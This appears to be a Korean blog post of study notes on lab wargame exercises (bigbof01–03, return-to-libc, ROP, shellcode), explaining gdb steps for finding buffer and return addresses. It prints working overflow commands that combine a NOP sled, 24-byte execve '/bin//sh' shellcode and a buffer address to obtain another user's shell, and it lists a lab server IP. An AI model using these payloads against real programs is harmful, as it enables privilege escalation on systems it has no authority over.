실습환경: 우분투

예제 1








다음 breakpoint까지 진행을 한후에 esp주소를 확인한다.
0xffffd558은 버퍼주소 이며 0xffffd842는 argv[1]인것을 확인한다.


strcpy후에 문자가 복사된것을 확인(주소알아낼려고하는거임)


실행방법 : ./bigbof01 $(python -c 'print "\x90"*236+"24바이트쉘코드"+"버퍼주소"')
첫번째처럼 안될시에는 버퍼주소를 건드려서 순수하게 찾아본다(잘안되는이유는 gdb자체 디버깅된 주소값이 정확하지않다고함)
bigbof011의 쉘을얻어서 bigbof011에게 권한이 있는 파일을 cat명령으로 확인할수있다.
bigbof01@ubuntu:~$ ./bigbof01 $(python -c 'print "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x58\xd7\xff\xff"')



bigbof02


예제소스




왼쪽은 정상적으로 실행됬을때 stack구조
오른쪽은 쉘코드를 삽입하여 실행할 stack구조



breakpoint 를 i와 buffer를 포함한 esp값을 확인하여 ebp부터 esp까지의 byte수를 계산한다


다음 breakpoint로 이동하여 strcpy함수를 실행하기전의 esp로부터 두개의 stack을 확인한다 ( buffer와 argv[1] )
strcpy를 진행하고 argv[1]의 값이 buffer에 복사가 된것을 확인하면 buffer의 시작주소(0xffffd58c)를 알수있다.




./bigbof02 `python -c 'print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x8c\xd7\xff\xff"'`
./bigbof02 `python -c 'print "\x90"*184 + "24byte shellcode"+"buffer 시작주소"'`

nop+shellcode는 208byte이며 shellcode를 제외한 나머지 184byte는 임의의 문자로 채운다
임의의문자 + shellcode + buffer의 시작주소를 strcpy로 강제로 버퍼오버플로우를 시키면서 shellcode를 불러오게되고 bigbof021의 쉘 권한을 획득하게된다



예제 3 (bigbof03)




   


여기서 esp주소부터 ret까지 byte사이즈 계산(하는이유 : ret까지 사이즈계산을해서 ret에 print함수시작주소를 넣기위해서)
ret 는 ebp+0x4 (따라서 ret주소값은 0xffffd65c)
esp 부터 ret까지 크기 계산 [ 0xffffd65c(ret) - 0xffffd5ec(esp) = 0x70(112byte)]


print함수의 시작코드가 0x0804847b인것을 확인함


위의과정을 도식화함

       




Return To Library


예제코드



buffer 의 byte크기확인 : ebp - esp = 0x8
SFP의 크기 4byte


system함수의 주소값확인 하는명령어 : p system


/bin/sh 의 주소값확인


bofrtl1 쉘로 들어가서 bofrtl1에게 읽기권한이있는 flag파일 출력


ropl

예제코드



one,two,three의 주소값을 알아낸다





shellcode

예제소스



cat 명령을 이용하여 쉘에 진입하여 flag를 확인한다


heapof


www.pwnable.kr

118.36.184.210 bigbof01/03/bofrtl


+ Recent posts